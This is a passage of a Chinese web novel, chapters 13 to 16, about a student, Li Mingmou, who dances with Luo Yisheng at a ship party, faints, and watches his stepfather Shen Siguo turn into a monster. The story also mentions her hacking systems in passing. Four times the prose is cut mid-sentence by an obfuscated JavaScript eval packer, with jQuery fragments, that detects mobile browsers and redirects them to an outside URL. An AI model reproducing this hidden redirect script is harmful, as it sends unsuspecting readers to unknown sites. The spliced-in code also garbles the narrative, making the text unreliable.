她穿着及脚踝的棉布长裙,光裸的左脚一直藏在宽大的裙摆里。但原来他有发现她鞋子掉了啊。
她蜷了蜷脚,把自己光裸的左脚藏到自己的右脚后面,感觉有些羞耻。
骆绎声在她面前半蹲下,在她的裙摆下方掀开一个角落,然后把帆布鞋从那个角落塞了进去。
确定鞋子放稳之后,他放下她的裙摆,还顺手理了理她下摆的皱褶。
他对她眨了眨眼,说:“你可以悄悄穿上,动作小一点,没有人会发现。”
她红着脸,在裙摆下悄悄抬起左脚,摇摇摆摆地塞进鞋子里。她的鞋子不太好穿,骆绎声怕她站不稳,伸出一只手臂给她搭着。
虽然骆绎声刚刚这么说,但周围的人其实都看着他们。
直到在众人的目光下把鞋子穿上时,她才对自己刚刚说的话有了一点实感:原来我刚刚答应了跟他跳舞。
此时《献给爱丽丝》的旋律响起,舞蹈环节正式开始了。
李明眸被骆绎声牵着手,缓缓步入舞池。她感觉自己像走在一条红毯路上,所到之处布满了聚光灯,人人都为她让路。
这还是第一次,李明眸站在视线中央,被那么多人用或艳羡或嫉妒的眼光注视着。在那些人里面,有很多长相比她好看、性格比她可爱、也比她受欢迎的女孩,但是没有一个女孩能让骆绎声牵起手,除了李明眸。
刚刚奚落过李明眸的人纷纷息声了。
这一切就像一场魔法,一场由骆绎声缔造的粉红色魔法。他帮灰姑娘穿上水晶鞋,把她变成人人艳羡的存在。
但是李明眸感觉自己好像没电视里说的那么享受。她此刻的感觉,就像一只生长在潮湿洞穴里的蘑菇,被骆绎声挖出来放在烈日下暴晒。
她的后背沁出一层冷汗,莫名联想到自己变成蘑菇干的样子。
他们来到舞池中央站好,随着舞曲正式开始,骆绎声逼近李明眸,想把手掌放到她的后腰上。
这只是交谊舞的准备姿势,但是在李明眸的视野里,就是一个裸.男要抱住她。于是她下意识缩了一下,躲开了骆绎声的手。
骆绎声的动作停住了。
李明眸自己也愣住了。
《献给爱丽丝》的第一乐章已经奏响了一会,周围的人都在翩翩起舞,只有骆绎声和李明眸还站在原地,维持着一个拒绝和被拒绝的尴尬姿势。
李明眸知道自己表现得有点过激,明明人家没对她做什么,她却表现出一副被轻薄的样子。说好的一起跳舞,她不能连腰都不让舞伴搂。
她有点慌乱地道歉:“对不起。”
骆绎声叹了口气,说道:“不要道歉。”他把声音降低几度,好显得更无害一些,仿佛生怕吓到了李明眸:“我是不是让你很紧张?”
李明眸觉得有点丢脸。其实她平时不至于这样,今天之所以表现得有些失态,是因为不习惯闪光生物靠她那么近,还一件衣服都不穿。
但这个理由不能讲,她只好憋屈地沉默着。
等不到她的回话,骆绎声弯下腰跟她平视,有些无奈地看着她。
李明眸不敢跟骆绎声对视,于是下意识闭上眼睛。然后她听到骆绎声轻声笑了笑,对她说:“下次不要对男孩子这样,他们会觉得是在邀吻。”
李明眸:“!”她一下子把眼睛睁到最大,虽然涨红着脸,却坚持瞪着骆绎声。
骆绎声仔细观察她的表情,说道:“看起来精神了一些。”
他重新站直,缓缓朝李明眸张开双手,作出一个予取予求的姿势,小心提议道:“那由你来决定怎么样?你可以自由选择碰哪里,不碰哪里。”
李明眸
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396225|184279||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
觉得更丢脸了。对方越照顾她,她越觉得自己拖后腿。她仿佛一个时刻需要人照顾的麻烦精。
她看着骆绎声张开的双臂,想说“你不需要做到这个程度”,却觉得自己可能真的需要这种程度的照顾,于是最后还是没有作声。
深呼吸一口气之后,她颤巍巍地把手搭在骆绎声光裸的肩膀上,就像一只蜻蜓轻盈地落在花瓣上。
她尽量镇定地说:“对不起,刚刚是我反应过度了。你可以把手放在我腰上。”
*** ***
李明眸的决心下得很好,但才跳了四个舞步,她就开始有一种头脑发晕的感觉。
其实骆绎声已经很照顾她,可能是知道她容易紧张,所以在做贴身动作的时候,他总是只虚虚地搂着她,给她留下很多空间。
但就算这样,他给李明眸带来的冲击力还是很大。因为交谊舞的姿势原因,她时刻都跟他手牵着手、面对着面,不可避免地要直面他的裸.体。
那可比参加国际黑客大赛刺激多了。
李明眸不知道别人清不清楚,骆绎声的身体很有迷惑性。
他静静站着时,显得高挑修长,甚至还有些纤细羸弱。但这副躯体舞动起来时,胸肌和腹肌会有节奏地起伏律动,流动的线条就像雕刻家手下最完美的杰作。那肌肉虽未高高隆起,但显得很有力量。
他的皮肤是泛着蜜色的莹白,可能是因为场内暖气太热,上面还泛着一层薄薄的细汗。李明眸被他搂在怀里,仿佛能感觉到他皮肤上的温度在蒸腾,把她的脸和身子都烘得热乎乎的,鼻子也变得干燥起来。
她被烘得晕乎乎的,脑子转不太动,眼睛紧紧粘在骆绎声胸膛的朱砂痣上——原来他的胸口有一颗痣。那颗痣长在心脏的上方,小小的一颗,看上去很好亲。
她看着那颗痣,没来由地想到学校论坛那张被置顶的帖子:“他不必刻意诠释艺术,他本身就是一件艺术品,是所有希腊雕塑的英灵聚集而成。极致的美不属于任何一个人,而属于全人类。”
这副躯体确实配得上这句肉麻评论。它是得不到的朱砂痣。
李明眸的表情越来越不像话,骆绎声终于发现了不对劲。
他跟之前一样低下头跟她平视,问她:“你怎么了?”
李明眸心虚得想闭上眼睛,避免跟他对视,但想起他说“男孩子会觉得是在邀吻”,于是拼命把眼睛瞪到最大。
她把目光从他的痣上拔起,放到他脖子以上,瞪着他的眼睛,从嘴巴里蹦出两个字:“没事。”
骆绎声丝毫不知道自己被偷窥了,他被她的瞪眼表情逗笑,说道:“又精神起来了。”
李明眸把铜铃大的眼睛从他脸上移开,看着他的耳朵,小声嘀咕:“我本来就很精神。”要是你好端端地穿着衣服出门,我就不会紧张害怕。
她的视线落在骆绎声耳朵,和他耳朵边的头发上,并不放在他身上。渐渐地,她觉得自己头上的失智光环缓缓消失,好像真没那么紧张了。
不看骆绎声之后,她的脸不热了,鼻子不干了,呼吸也顺畅了。
她在内心默默为自己平反:只要不考虑闪光生物的裸.体这个变数,我还是很正常的。
她的心跳稳定下来后,失误率也直线下降,终于能配合上骆绎声的舞步了。
在一个旋转舞步后,骆绎声在她耳边夸她:“进步了。”语气充满笑意,以及温柔的鼓励。
李明眸受到鼓舞,特别想向他证明,自己能做好这件事情。
又一个旋转舞步后,骆绎声绅士地向李明眸提出询问:“要不要认真跳一次?”
李明眸心想:她一直在认真跳啊。但她看骆绎声表情轻松体贴,动作也没什么变化,仿佛这只是一个稀疏平常的提议。
于是她随口应了下来:“好啊。”
她很快就会发现,自己答应得太快了。
13. 与裸男共舞2
就在李明眸随口应下要认真跳后,《献给爱丽丝》的插部一结束,旋律进入了插部二。脉脉的絮语发生了巨大变化,高音层层推进,不可抑制的热情像火焰般燃烧起来。
李明眸察觉到骆绎声的状态似乎有一点微妙的变化——他握着她的手变得用力了。
在插部二的第三个高音即将响起时,骆绎声突然说:“开始了。”
李明眸心里莫名其妙:开始什么?但没等她问出口,她就被骆绎声推了出去。
她被骆绎声推出很远,在她以为自己即将要被甩出去的时候,一股力量把她拉了回来。她的身体在半空中划了个圆,然后被牵引着回到了骆绎声怀里。
她的位置瞬间变得很危险,她直面着骆绎声心脏上的小痣,心中拉响了十级警铃:太近了!不可以!
骆绎声没有给她太多反应的时间,他一只手紧紧搂着她的腰,另一只手把她往舞池的另一方引——新乐章正式开始了。
被牵引着做了几个动作后,李明眸终于知道,刚刚骆绎声有多照顾她。
骆绎声这次没有问她哪里能碰、哪里不能碰,也没有像之前一样体贴地跟她保持距离。
她完全被拉入了他的节奏,好几次跟他赤.裸的身体近距离地擦拭而过。在一个下腰的动作时,她甚至不小心看到了他的胯骨往下,心灵受到了巨大的惊吓。
等骆绎声重新把她拉起来后,她就开始频繁踩到他的脚——她实在是太慌乱了。她甚至慌乱到没有余裕道歉,只知道拼命跟上他的舞步。
但是她越想努力,就越无法冷静,踩到骆绎声的脚的次数也越来越多。
骆绎声并不知道李明眸受惊吓的原因,还笑着安慰她:“没关系,你很轻,踩不痛我。”
李明眸想哭。她觉得自己像一条搁浅的鱼。她感觉越来越缺氧,鼻子黏膜干干的,还有点想吐。
又一段旋舞之后,骆绎声左手稍往上举——这是又要做下腰动作了。
回想起那个巨大的惊吓,李明眸下意识挺直腰,努力昂高头,眼睛往天花板看。她努力抬高眼睛的样子,几乎都要把眼白翻出来了。
她成功地没有受到二次惊吓,但是因为她梗着身体,姿势不当,于是她的嘴巴就从骆绎声的胸膛上擦了过去。
——毫无间隙地,她直接吻在了他心脏上方的朱砂痣上。一阵滚烫的体温袭上她的嘴唇,她仿佛感受到了那颗痣下方隐若的心跳声。
她一瞬间就腿软了,身体跟着软软地往下滑。
骆绎声双手穿过她的腋下,及时扶住了她,问道:“又怎么了?”
李明眸软了好一会之后,才一副身残志坚的样子,坚强道:“我没事,我还可以!”她的鼻腔一片赤痛,发出来的声音也嗡里嗡气的。
她现在头脑昏沉,自己也想不明白,干嘛要说“我还可以”。适当地示弱一下,回到一开始的跳法,不是更好吗?
听到她的回答,骆绎声笑了笑,说:“嗯,你可以。”
这句话落下后,他双手夹在她的腋下,像提小朋友一样把她往上提了提。他比李明眸高出一个半头,轻轻松松就让她双脚离地了。然后他调整了一下姿势,把李明眸的双脚放在了自己的双脚上。
脚叠着脚,李明眸就这么站在了骆绎声身上。这个姿势离得太近,她几乎是完全贴在了骆绎声身上。她被抱了个满怀,整张脸都贴着对方赤.裸的胸膛。
这次她是真的当机了。她的头脑在发出警告,让她快点推开对方,身体却不由自主地僵在原地。
她像一只被蜘蛛网粘住的昆虫,被蜘蛛精斑斓的纹路迷惑住,一动也不会动,只知道贴着骆绎声的胸膛,呆呆等待对方向她注入毒素。
在这一瞬间,理智远离了她,高斯求和公式、图灵机理论、冯诺依曼架构从她的世界里消失了。只剩下赤身裸.体的骆绎声。
她甚至在想:加入《弗雷娜》,好像也不全是坏事。
这个想法产生之后,就好像受到惩罚一样,她的鼻子越来越热,感觉呼吸不上来了……
骆绎声看不见她的脸,没察觉到她的异状,只知道她人软软的,好
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396226|184279||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
像站不太稳。
他一只手握着李明眸的腰,另一只手握着她的手,说道:“我们就这样跳吧,我带着你。”
然后他的左脚就抬了起来,带着李明眸的左脚,一起往前跨了一步……
就这么跳了几步后,骆绎声若有所觉地停下。
他抱住李明眸的后背,把她推开一点。他看了看自己的衣服,又看了看她的脸。
他说:“你……”
李明眸瞪着眼前这片赤.裸的胸膛,看见一汪鼻血淌在上面。
那行鼻血从朱砂痣往下滑,一直划过六块腹肌……红色的血和莹白色的肌肤,形成了一组淫.糜而鲜明的对比。
骆绎声问她:“你怎么了?”
李明眸的鼻腔还残留着一股热辣辣的感觉,她看着他胸口上的血,愣愣地、气若游丝地说了一句话:“对不起,吃太多……”榴莲了……
没说完这句话,她就闭上眼睛,整个人往后倒去。
……
在自然界里面,存在着一种会装死的小动物,叫做负鼠。当它因为受到攻击而过度紧张时,体内就会分泌出一种麻痹物质,使其看上去像是死了一样。
李明眸倒下去后,周围的人喧哗着,往这边看过来。
骆绎声托住李明眸软塌的后腰,把她稳稳抱在自己怀里。
他脸上温和绅士的表情渐渐褪去,就像卸下某种伪装,冷静到有些冷淡的表情从他脸上浮现出来。
他镇定地检查李明眸的身体,然后抱起她,撇下围观的众人,朝医务舱走去。
周围的人群神色惊惶,不知道要不要跟上去看看。远处的人不知道发生了什么,互相询问着“怎么了”,茫然地到处推搡,想挤上前来凑个热闹。
在涌动的人潮上方,沈思过显得尤其冷静。他站在观景塔上,静静地看着下方舞池的骚乱,既没有下去察看情况,也没有露出任何表情。
他只是那么站在那里,站在原来弗雷娜号驾驶台的位置,看着人潮像蚂蚁般互相推搡,在热锅中打转,找不到出口。
14. 口蜜腹剑
李明眸醒来的时候,发现自己躺在弗雷娜号医务舱的床上,周围叽叽喳喳的,好像围了几个人。
昏倒前的画面涌入她的脑海,她感觉丢脸异常,害怕醒来后有人问她问题,便紧闭双眼,假装自己还没醒。
在众人七嘴八舌的“她吃了好多榴莲”“暖气可能开太大了”的说明下,随行的船医给她开了一瓶不知道是什么的点滴液。
针尖插入皮肉的时候,李明眸差点就要跳起来说“我已经康复了”。
船医没发现什么异样,帮“昏迷的”李明眸固定好输液器后,他把喧闹的学生们赶了出去,只留下背患者过来的骆绎声。
他吩咐骆绎声:“这点滴液大概要吊一小时,我出去一会,你看着她。”
骆绎声说“好”。
船医才出去一会,大门又“吱呀”响了一声,回来的却不是船医。
有些熟悉的女声在门口响起:“她怎么样?”
李明眸回忆了一下这把声音,发现是今晚骂她“看来是真的有病”的那个蓝色头发的女生。
她以为蓝发女生是在问她的身体,却听骆绎声回答道:“她不会跳舞,没有基础,但人挺可爱。”
李明眸这才想起来,骆绎声是沈思过委托来照顾她的,《弗雷娜》剧团的主舞——原来他刚刚是在测试她的舞蹈技术吗?
想到自己刚才的胡思乱想,以及骆绎声给出的“不会跳舞”的评价,她感觉更加丢脸了。
蓝发女生的脚步声从门口渐渐靠近,最后停在李明眸床边。李明眸听到自己的床帘“唰”地一下被拉开,好像有人在看她的脸。
过了好一会,蓝发女生在床边评论道:“长得也就那样吧,还不如孙维维好看。”孙维维是那个在学校门口拉横幅给骆绎声告白的系花。
李明眸:……
她想起来了,刚刚有人叫蓝发女生周雪怡。那个跟系花争奇斗艳、送999朵玫瑰告白的白富美,就叫周雪怡。
可蓝发女生跟蓝发男生不是一对的吗?两人的异象交融,又都染了同款的蓝色头发,她还以为他们是情侣。
说起来,蓝发女生也有单独的异象,她□□流出的黑血是什么意思?
蓝发女生不知道李明眸醒着,站在她床边抱怨:“她又不会跳舞,也不知道沈导演怎么想的,找这些人来我们剧团有用吗?她一上船就昏过去了!”
原来周雪怡也是《弗雷娜》的剧团成员?虽然很丢脸,但对方说的没错,她确实不会跳舞……李明眸的脚在被子里偷偷蜷起来。
“你为什么要听沈思过的话来照顾她?他又不是你亲爸。”
“明天再说好吗?我现在有点累。”
“你终于知道累了。你就是人太好,今天她们拜托你帮忙干活的时候,你就应该拒绝的。我看那几个女的就是想泡你。”
“……”
“好了好了,不吵你,看你眼睛都累红了。待会还要帮忙看着这女的,真是的!”
喋喋不休地抱怨完后,蓝发女生终于开口道别。但是说完“拜拜”之后,她还在原地磨蹭了一会,仿佛还有些难以启齿的事情要说。
骆绎声并没有询问她,她自己磨蹭了大概半分钟,才从背包里拿出一条蓝色围巾,面无表情地说:
“给你的,生日礼物。前阵子想学手织围巾,就随便试了下。第一个成品就给你吧,反正挺难看的。”
说到这里,她停了一下,故作不在意地说:“不喜欢的话,扔掉也可以。”
自说自话完,蓝发女生把围巾往骆绎声怀里一扔,也没听骆绎声的回应,就那么走了。
“咔哒”一声关门声响起,医务室里再次只剩下李明眸和骆绎声两个人。
李明眸心想:蓝色女生应该是害怕被拒绝,所以才故意说“扔掉也可以”。要是真的扔掉,她怕是会伤心的。幸好骆绎声是个温柔的人,一定会好好对待这……
没等她想完,一阵脚步声响起,然后门边的垃圾桶就响起了悉悉索索的声音——是骆绎声在扔垃圾。
他把那条手织围巾扔掉了。
李明眸:!!!???
骆绎声脸上没什么表情,既不显得冷酷,也不显得不耐烦,就是很普通的没表情,仿佛他刚刚扔的只是一件无关紧要的小垃圾。
扔完垃圾,他回过头来,李明眸连忙闭上眼睛。
听到脚步声重新靠近,李明眸忐忑不安,心里有些乱。她刚刚只是因为羞耻而不想睁开眼睛,现在是真的不太敢睁开了。
骆绎声来到她跟前后,并没有做什么,反而还帮她把没盖好的被子往上拉了拉。
李明眸等了一会,没等到骆绎声走开。他直接在她床脚的凳子上坐下了。
床脚响起一声细小的“咔嚓”声,好像是什么东西的开关打开了。一会之后,一股淡淡的烟味飘进了李明眸的鼻子……所以刚刚那是打火机的声音,骆绎声在她床边抽烟了。
李明眸觉得骆绎声看上去不像会抽烟的人,而且医务舱不是禁烟的吗?!
她眼睛悄悄睁开一条缝,看向床脚,那里原来挂着块“请勿吸烟”的牌子。
她能肯定骆绎声看到了那块牌子,因为她上一次睁开眼偷看的时
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396227|184279||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
候,那块牌子是正着的。现在它被翻过去了,是骆绎声刚刚翻的。
骆绎声低着头,倚在那块禁烟牌子旁抽烟,看不太清楚表情。
香烟的火光明明灭灭,李明眸开始看不太清楚这个人了。
烟味越来越重,骆绎声抽完一根,又接着点了一根。
李明眸有点后悔装昏迷了,她一闻烟味就会咳嗽,但是昏迷的人应该不能咳嗽吧?她拼命忍住咳嗽的欲望,尽责地扮演着一个昏睡的人。
第二根烟才刚点了一会,床脚断续发出的悉索声就停止了。大概有两分钟,李明眸什么声音都没听到。
一室安静。
又过了一分钟,李明眸忍不住再次睁开眼,发现骆绎声睡着了。
他靠在她床脚的椅子上,闭着眼睛,手里还夹着那根燃着的烟。
李明眸想起蓝发女生说的,她说他今天忙了一天,眼睛都累红了。
骆绎声可能是真的累到睡着了,夹着烟的手指松松的,那根烟眼看着就要掉下去。他夹着烟的手指正对着床单,烟头掉下去,肯定要烫出一个洞。
李明眸看着那根烟,心里有些纠结,不知道要叫醒他,还是要趁他睡着,帮他把烟掐灭。
就在她纠结的时候,门口又响起了一声轻轻的“吱呀”声——又有人进来了。
这次进来的仍然不是失职的船医,而是消失已久的沈思过。
自从两人在甲板分别后,李明眸一直没有见到他,也不知道他去了哪里。
她以为沈思过是听说了她晕倒的事情,特意过来看她的,于是连忙闭上眼睛,等待被检阅。
沈思过的脚步声渐渐来到床边,李明眸能感觉到自己头顶多了块阴影,可是等了五分钟,也没等到沈思过有什么表示。
骆绎声好像还在睡,沈思过没有叫醒他。他似乎也没有打算叫醒李明眸。
也不知道沈思过进来是干什么的,明明这么大个人杵在床边,愣是一点声音都没发出来。他就那么站在那里不动,也不说话。
李明眸觉得心里有些发毛。
诡异的沉默持续了好一会,她忍不住睁开眼睛。她慢慢地、一点一点地掀开眼帘,想作出渐渐醒来的样子。
可她这是媚眼抛给瞎子看,因为压根就没人在关注她。
沈思过站在床边,背对着李明眸。他正专心地看着骆绎声,对李明眸的“醒来”一无所觉。
李明眸看着沈思过的背影,觉得他靠得骆绎声太近了——他几乎是贴着骆绎声的脸在看,也不知道看了多久。
而骆绎声还睡得跟只猪一样。
15. 深渊
一股奇异的直觉袭上李明眸心头,她总觉得自己要立刻醒来,马上说点什么,不然紧接着一定会发生一些事情。
在她犹豫的时候,空气中突然泛起一股水腥味,像是死水潭里沉积了无数腐败的鱼虾。
她被这股腥味熏得直欲作呕。那股恶臭如此浓烈,将室内原本弥漫的烟味彻底淹没,无孔不入地充斥着整个空间。
她心里那股发毛的感觉越来越强烈。
就在那股臭味变得如有实质的时候,她看到沈思过歪了一下头,然后缓缓地靠近骆绎声……
如果她没有看错,她觉得沈思过这个姿势,是想亲骆绎声的意思——嘴唇对嘴唇的那种。
可他们不是继父子吗?所有人,海大的人,媒体的人,都说他们是模范的继父子关系。
她看完媒体信息,也是这么认为的:她认为沈思过是一个很好的丈夫和继父。
李明眸的脑子一团混乱:是她误会了沈思过此刻的动作吗?
毕竟沈思过是一个如此完美的人……
她刚这么想完,惊悚的一幕就发生在她眼前:
沈思过的身体仿佛被一股无形的力量撕拉着,过分苍白的皮囊犹如羊皮纸一般,缓缓地从中间撕裂开来。
那场景就像是在揭开一层伪装已久的画皮,随着人皮一点点剥落,隐藏在其下的真实面目逐渐暴露出来……
从额头往下,沈思过的身上出现了一条极细的裂缝,裂缝一路撕开他的眼睛、鼻子、嘴巴,将他原本和善的面容割成两半。
这副皮囊如同一件破旧的衣服,从中间向两边缓缓剥落开来,逐渐显露出内部的模样。
被皮囊包裹在里面的,是一个恶心至极的怪物。它的身体呈现出一种诡异的灰黑色,仿佛是被水泡烂了的腐肉,表面布满大小脓包,那些脓包有的已经破裂,流淌出黄绿色的黏液,散发出令人作呕的恶臭。
李明眸的瞳孔急剧收缩,冷汗如雨点般从额头和后背冒出,将她的衣服浸湿。
她之前所有的判断都被推翻了:表现得完美无缺的沈思过,看似幸福的家庭,还有所谓治愈创伤的舞台剧,都在这一刻化为泡影。
她搞错了,沈思过根本不是什么模范幸存者。
从来不存在模范幸存者。
就在她因为惊恐而全身发麻时,怪物的脸如同肉花一般缓缓盛开,扭曲的花瓣以一种极其缓慢的速度,朝着骆绎声的脸逼近。
肉色花瓣每逼近一分,李明眸的心就揪紧一分。她仿佛能看到那些花瓣上的黏液即将滴落在骆绎声的脸上,想象到骆绎声即将要被那恶心的怪物包裹其中的可怕场景。
她再也等不下去,猛地坐了起来。
就在她坐起来的瞬间,医务室的门又“砰”地一下,响得很大声——这次是船医,他终于回来了。
他说着话,快步走进来:“过时间了,输液管拔了吗……你怎么出这么多汗?”他看着坐在床上,满头大汗的李明眸问。
李明眸盯着床尾的沈思过,只见船医进来后,他还维持着那个将亲未亲的姿势,离得骆绎声极近。
他裂开的皮囊边缘像是有无数条细小的黑蛇在交织,随着蛇群的蠕动,那条裂缝逐渐收拢,裂成两半的皮囊也重新合上。
沈思过一动不动,缓缓地恢复了人形。
李明眸苍白着脸,声音沙哑地回船医的话:“我、有点热。”
船医走到她身边测探温度,顺便帮她拔掉输液管。
拔输液管的时候,他有些疑惑地问坐在输液瓶隔壁的沈思过:“大少,你在干嘛?”
此时的沈思过,距离骆绎声的脸,只有一掌宽的距离。
沈思过镇定地说:“他脸上有东西,我给他弄走。”
他的手在骆绎声脸上虚虚挥了挥。
见骆绎声没醒,他柔声喊道:“阿声。”
骆绎声还是没有反应。
他又用手拍了拍他的肩膀:“阿声。”
骆绎声终于醒了,迷糊地喊了一声“爸”。
他像是被惊醒的,手动了动,手指里夹着的烟终于掉了下去。
幸好那根烟已经燃尽,并没有把床单烫坏。
他们表现得太自然了,船医一点都没有怀疑。他继续关注李明眸的体温,疑惑地嘀
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396228|184279||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
咕:“体温不对啊,这怎么像是冷汗?”
骆绎声用带着点睡腔的语调问:“她怎么了吗?”
沈思过终于回过头来,看着李明眸,语气温和又关切:“醒来就好,刚刚真是把我吓到了。你现在还有不舒服吗?”
沈思过脸上仍然是那个一贯的微笑,有些腼腆羞怯,看着别人的时候,显得非常专注认真。
她之前在网上搜集沈思过资料的时候,觉得这个人怎么一直是这样的表情,好像从来不会变化,永远都那么腼腆温柔。
她很少遇到会变化的异象,而且沈思过看着太好了,所以她一直没往另一个角度想:
一个人的表情之所以不会变化,也有可能是因为他戴着面具——是那个面具在微笑。
所以那个微笑的表情,永远不会变化。
“你怎么不说话?还有哪里不舒服吗?”沈思过又问了一遍。
眼前的气氛如此自然融洽,就如同刚刚那可怕的一幕从未发生过。沈思过再次恢复了完美无瑕的姿态,神情温柔又关切,只是他身上那股若有若无的阴森气息,似乎变得更加浓郁了。
李明眸勉强地笑了一下,僵硬地说:“我没事。我容易出汗。”
*** ***
李明眸匆匆说明了自己不会加入剧团,随后就说自己要回家了。
沈思过似乎还想劝劝她,但看到她满头大汗,最终还是忍住没说,只说“下次再聊”。
她匆匆整理衣服,不敢看向骆绎声的方向,就这么离开了弗雷娜号。
沈思过坚持送她下船,骆绎声没说话,但也跟了过去。
踏上陆地的时候,沈思过说他有车,想送李明眸回家。李明眸坚持自己打车,怎么也不肯上他的车。沈思过有些无奈,让她到家后给他发条信息,表现得体贴又关切。
在分别之际,李明眸回过头去看沈思过和骆绎声的背影。
这对继父子的感情仿佛真的很好,沈思过把手搭在骆绎声的肩膀上,好像在说什么笑话,把骆绎声逗笑了。
李明眸皱着眉头,心脏仿佛被一块巨大而冰冷的铅石重重压着。
16. 有罪之人
直到上了出租车,车开出去一段距离后,李明眸才渐渐镇定下来。
她回过头,透过车窗看向后方,看着弗雷娜号离自己越来越远。
今天早上打车过来的时候,太阳高悬天空,一切都看起来很明朗。
现在再回过头去看,天色已近黄昏,弗雷娜号,以及弗雷娜号上面载着的一切,都在暮色中影影绰绰,看不清晰。
李明眸已经不太能想起来,她白天刚下车,在码头远远看着那艘沉船时的心情了。
那座高塔,以及失去的船难记忆,都伴随着暮色,在她心中渐渐隐没。
现在她记得最清晰的,就是在医务舱里面发生的一切。
在医务舱里发生的画面,彻底改变了她对沈思过的判断。
这个姨妈、赵医生、媒体和海市人都觉得可靠的人,并且经由她自己考察后,也认为是最可靠的这个人。
他才是最不值得信任的人。
她回想起沈思过藏得极深的异象,那具从中间裂开的皮囊,以及从皮囊中探出来的腐烂肉花,生生打了个冷颤。
这样的人,竟然说自己要筹办一台治愈船难集体创伤的舞台剧,而所有人都相信他没有问题。
这太荒谬了。
*** ***
回到家之后,李明眸立刻打开电脑,重新搜集沈思过的资料。
她把之前看过的信息,又深入地捋了一遍:
沈思过的读书经历、工作经历、他身边的每一个亲人、他合作过的每一个同事……
她一天晚上入侵了四所学校的教务系统、三间影视公司的后台、甚至还有档案局,凡是她能想到的信息,她都调查了一下。
但是一无所获。
查到的结果跟之前并没有不同:这个人非常完美,从小学开始就是三好学生,成年后变成三好市民,甚至还获得过海市政府颁发的优秀青年奖。
政府公告栏上,他的优秀青年奖的颁奖词是:【他在少年时遭遇弗雷娜船难,但这场苦难没有击垮他,反而给了他创作的灵感,坚定了他做慈善工作的决心。】
李明眸看得眼睛疼,转而查询起沈思过的婚姻生活。
她之前就查到过,沈思过跟一个叫骆颖的艳星结婚了——骆绎声就是骆颖带来的小孩。但她当时没有仔细看相关报道。
这次李明眸重点查了一下骆颖的资历,发现这个曾经的三级片艳星,比她想象的要红很多。
骆颖很有表演天赋,香港影视圈好几个著名导演,都对她表达过好奇和赏识。可惜骆颖在入行之初招人蒙骗,走错了路,还未婚生子,早早在正统的电影行业失去了立足之地。
虽说骆颖没有机会在正经电影里当女主角,但偶尔也会到这些剧组里打酱油——她就是这么认识的沈思过。
沈思过跟骆颖有过一次合作后,爱惜她的才华,坚持邀请她来自己剧组,还为她专门写过角色。
几次合作后,两人日久生情,在电视台的周年庆中,沈思过当着全世界的面,向骆颖热烈求婚,承诺会对她的孩子视如己出。
随后在一片不看好的倒彩声中,二人举办了世纪婚礼。沈思过对妻子的狼藉声名一笑而过,说是世人不懂欣赏。
婚礼之后,二人非常恩爱,从来没有绯闻传出,家庭关系也意外和谐。
在沈思过的努力下,沈氏也认可了骆颖。每个月的本家聚餐,沈家人都要邀请骆颖。因为沈思过的爱屋及乌,继子骆绎声也在本家聚餐的邀请之列。
久而久之,这家人的媒体形象也好了起来。
总之,在所有人眼中,这都是一个完美的人,一段完美的人生,和一个传奇的家庭。
李明眸初看只是眼睛疼,但这些资料越看越多后,她渐渐有些毛骨悚然:
竟然有人能做到如此滴水不漏,一点负面信息都没有透露出来。
从这些报道和周围人对沈思过的评价中,她能看出来:大家是真的觉得沈思过人很好,非常完美。
可是这世上不存在完美的人,无论是多好的人,都经不起深入调查——而沈思过偏偏经得起。
于是“经得起调查”这件事,它本身成为了一个问题。
*** ***
对着这些滴水不漏的信息,李明眸想起了沈思过在精神病院的住院经历。
这段住院经历也是沈思过的一段传奇事迹——他因为船难而患上重大事故创伤后遗症,病情严重到要入院治疗。康复之后,他变成了一个想用自己的痛苦去帮助更多人的人,一个悲剧英雄。
这是对外的说法。
李明眸想了想,找到了“向阳精神康复中心”的网络备案信息——就是沈思过之前住院的地方——然后又循着漏洞,找到了他们的诊疗系统。
她花半小时找到了一个后台漏洞,抓取了一个刚登录过的员工的cookie,成功登上了这个系统。
然后她很快找到了沈思过的治疗记录。
